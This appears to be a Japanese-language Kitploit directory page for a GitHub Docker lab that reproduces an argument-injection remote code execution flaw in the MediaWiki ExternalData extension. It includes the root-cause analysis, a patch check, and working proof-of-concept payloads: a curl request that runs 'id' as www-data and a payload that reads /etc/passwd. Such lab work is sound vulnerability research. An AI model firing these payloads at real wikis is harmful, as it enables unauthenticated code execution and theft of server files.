Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
mediawiki-CVE-2026-100382 — DockerラボでCVE-2026-100382を再現: MediaWiki ExternalDataの#get_program_dataにおける未認証の引数インジェクションRCE、PoCペイロードとパッチ検証付き。 | Kitploit
ツール/GitHubGitHub/nth347/mediawiki-cve-2026-100382
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティコマンド&コントロール学習と教育ラボと実践
GitHubnth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

DockerラボでCVE-2026-100382を再現: MediaWiki ExternalDataの#get_program_dataにおける未認証の引数インジェクションRCE、PoCペイロードとパッチ検証付き。

リポジトリを見る
36日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ラボ再現 - CVE-2026-100382 (ExternalData OS コマンドインジェクション)

このラボについて

  • MediaWiki 1.43 (公式イメージ、SQLite) + ExternalData 3.6.1 (最後の脆弱バージョン)、 ../mediawiki-extensions-ExternalData から読み取り専用でマウント。
  • ループバックのみ: 127.0.0.1:${HOST_PORT} (デフォルト 8080) で公開。
  • 匿名編集 + action=parse が有効 (MediaWiki のデフォルト) - PoC にログインは不要。

実行

cd lab
./up.sh        # インストール、ExternalData 3.6.1 をロード、脆弱なソースを投入、URL を表示
./down.sh      # docker compose down -v + .env を削除

(現実的な) 脆弱な管理者設定

entrypoint.sh は、#get_program_data の文書化された目的を反映した exec ソースを投入する

  • サーバーサイドのプログラムを編集者に公開し、ユーザーパラメータをコマンドラインに渡す - 制限的な param filters エントリなしで (拡張機能はそれを要求しない):
$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // ユーザーパラメータが補間される
    'params'  => [ 'options' ],
    'format'  => 'text',
];

想定される使用法: {{#get_program_data: program=chart | options=--dpi=120 }} -> python3 --dpi=120 /srv/chart.py を実行。

根本原因のまとめ (なぜ発火するのか)

  • EDConnectorBase::supplementParams() は、ユーザーパラメータを wiki 全体の command テンプレートに strtr で補間する (EDConnectorBase.php:461-470,560)。
  • 次に EDConnectorExe::__construct() が explode(' ', $command) を行う (EDConnectorExe.php:92) - 補間されたユーザー値はスペースで分割され、 再クォートなしで別々の argv トークンになる。
  • run() は Shell::command($command)->execute() を実行する (EDConnectorExe.php:139)。 Shell::command() は各トークンをシェルエスケープするため、シェルメタ文字 (;, |) は無効化される - これは**引数インジェクション (CWE-88 / CWE-78)**であり、単純なシェル インジェクションではない。対象プログラム (ここでは python3 -c) の追加 argv を制御する ことで、完全なコード実行が可能になる。
  • 注: 呼び出し元が command を直接指定することはできない - 組み込みのワイルドカード * ソースは command => null を強制し、ユーザー指定の command を除去する。したがって ベクターは、管理者定義のコマンドへのパラメータ補間である。

コンソール出力 (そのまま)

スコープ: シェルメタ文字はエスケープされる (シェルインジェクションではなく引数インジェクション)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

空白が 1 つのパラメータを複数の argv トークンに分割する

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - Web ユーザーとしての任意コマンド実行 (未認証)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

任意ファイル読み取り

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

パッチに対するネガティブテスト (ループを閉じる)

マウントされた拡張機能をタグ 3.7 に切り替え、同じペイロードを再実行:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

3.7 は EDConnectorExe をデフォルトで無効化する ($wgExternalDataDisabledClasses、Bug T434961)。 注意: シンクコードは変更されていない - #get_program_data を使い続けるために そのリストから EDConnectorExe を削除した wiki は、依然として完全に悪用可能である。

ツールをダウンロード